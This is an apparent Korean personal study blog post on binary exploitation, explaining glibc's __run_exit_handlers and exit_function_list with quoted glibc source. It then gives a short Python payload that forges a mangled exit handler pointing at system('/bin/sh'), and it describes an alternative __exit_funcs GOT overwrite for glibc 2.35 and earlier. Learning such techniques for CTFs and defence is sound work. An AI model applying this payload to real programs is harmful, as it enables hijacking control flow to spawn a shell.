본문 바로가기

__run_exit_handler 이용한 exploit 간단 정리

@eouya22025. 9. 2. 21:19

 

__run_exit_handlers

먼저 프로그램의 실행 과정을 보면,

종료되는 과정에서 exit() -> __run_exit_handler() 가 실행되는 것을 볼 수 있다.

__run_exit_handler()
  void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();

  __libc_lock_lock (__exit_funcs_lock);

  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur = *listp;

      if (cur == NULL)
    {
      /* Exit processing complete.  We will not allow any more
         atexit/on_exit registrations.  */
      __exit_funcs_done = true;
      break;
    }

      while (cur->idx > 0)
    {
      struct exit_function *const f = &cur->fns[--cur->idx];
      const uint64_t new_exitfn_called = __new_exitfn_called;

      switch (f->flavor)
        {
          void (*atfct) (void);
          void (*onfct) (int status, void *arg);
          void (*cxafct) (void *arg, int status);
          void *arg;

        case ef_free:
        case ef_us:
          break;
        case ef_on:
          onfct = f->func.on.fn;
          arg = f->func.on.arg;
#ifdef PTR_DEMANGLE
          PTR_DEMANGLE (onfct);
#endif
          /* Unlock the list while we call a foreign function.  */
          __libc_lock_unlock (__exit_funcs_lock);
          onfct (status, arg);
          __libc_lock_lock (__exit_funcs_lock);
          break;
        case ef_at:
          atfct = f->func.at;
#ifdef PTR_DEMANGLE
          PTR_DEMANGLE (atfct);
#endif
          /* Unlock the list while we call a foreign function.  */
          __libc_lock_unlock (__exit_funcs_lock);
          atfct ();
          __libc_lock_lock (__exit_funcs_lock);
          break;
        case ef_cxa:
          /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
         we must mark this function as ef_free.  */
          f->flavor = ef_free;
          cxafct = f->func.cxa.fn;
          arg = f->func.cxa.arg;
#ifdef PTR_DEMANGLE
          PTR_DEMANGLE (cxafct);
#endif
          /* Unlock the list while we call a foreign function.  */
          __libc_lock_unlock (__exit_funcs_lock);
          cxafct (arg, status);
          __libc_lock_lock (__exit_funcs_lock);
          break;
        }

      if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
        /* The last exit function, or another thread, has registered
           more exit functions.  Start the loop over.  */
            continue;
    }

      *listp = cur->next;
      if (*listp != NULL)
    /* Don't free the last element in the chain, this is the statically
       allocate element.  */
    free (cur);
    }

  __libc_lock_unlock (__exit_funcs_lock);

  if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());

  _exit (status);
}

 

__run_exit_handler()에서는 __exit_funcs가 가리키는 exit_function_list를 참조하여 함수를 호출한다.

호출되는 함수 주소는 MANGLE, DEMANGLE을 통해 암호화, 복호화 되는데, 다음 자료를 보자.

rdx에는 exit_function 구조체가 들어있다. +0x18 오프셋의 포인터를 가져와서 ror(rotation right) 0x11을 거치고, fs:0x30에 위치한 값인 Pointer Guard와 xor연산을 한다. 이후 +0x20 오프셋의 포인터를 인자로 연산 결과 주소를 호출하는 것을 볼 수 있다.


__exit_funcs 는 struct exit_function_list* 타입이고, 단일 연결 리스트를 구성한다.

struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };
  
struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
	void (*at) (void);
	struct
	  {
	    void (*fn) (int status, void *arg);
	    void *arg;
	  } on;
	struct
	  {
	    void (*fn) (void *arg, int status);
	    void *arg;
	    void *dso_handle;
	  } cxa;
      } func;
  };

 

exit_function_list인 initial의 출력 결과이다. 위에서 설명한 __exit_funcs가 initial의 포인터를 가지고 있는 것을 알 수 있다.

 

Exploit

system("/bin/sh")을 실행하기 위해, 먼저 fs:0x30에 있는 Pointer Guard를 leak하여 값을 알아내거나, \x00(NULL)로 overwrite 해야 한다. 앞서 설명했듯 MANGLE, DEMANGLE 과정에서 해당 값과 XOR 연산을 하기 때문이다. Pointer Guard가 NULL 일 경우의 익스플로잇을 예시로 들자. 

 

여기서 두가지 방법이 있다.

첫번째는 initial 구조체를 조작하는 방법이다. 이는 libc영역에 존재하고, aaw취약점이 존재할 경우 다음과 같이 수정할 수 있다.

target = libc_base + libc.sym['initial']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
def rol64(x, r): 
    return ((x << r) | (x >> (64 - r))) & ((1 << 64) - 1)
mangled_ptr = rol64(system, 0x11)
initial_payload = p64(0) + p64(1) + p64(4) + p64(mangled_ptr) + p64(binsh)
overwrite(target, initial_payload)

 

두번째 방법은 glibc 2.35까지 사용 가능한 방법으로, libc GOT Overwrite이다. glibc 2.35까지는 libc 바이너리가 Partial RELRO인데, 이로 인해 __exit_funcs의 GOT를 조작하는 방법으로 쉘을 획득 가능하다. 특정 영역에 fake exit_function_list를 구성하고, 해당 fake 구조체의 주소로 __exit_funcs의 GOT를 덮어서 쉘 획득이 가능하다. fake struct는 첫번째 방법에서의 구조와 동일하다.

'PWN > 개념' 카테고리의 다른 글

fflush() 이용한 libc leak, 그 외  (0) 2025.09.11
fastbin attack시의 size check  (0) 2025.09.08
FSOP - _IO_WDOALLOCATE 를 이용한 익스플로잇  (1) 2025.08.29
FSOP - vtables, bypass _IO_validate_vtable  (1) 2025.08.27
FSOP - template/_flags  (0) 2025.08.27
eouya2
@eouya2 :: eouya2

개인공부 기록 / 틀린거 있으면 돌팔매질 부탁드립니다

목차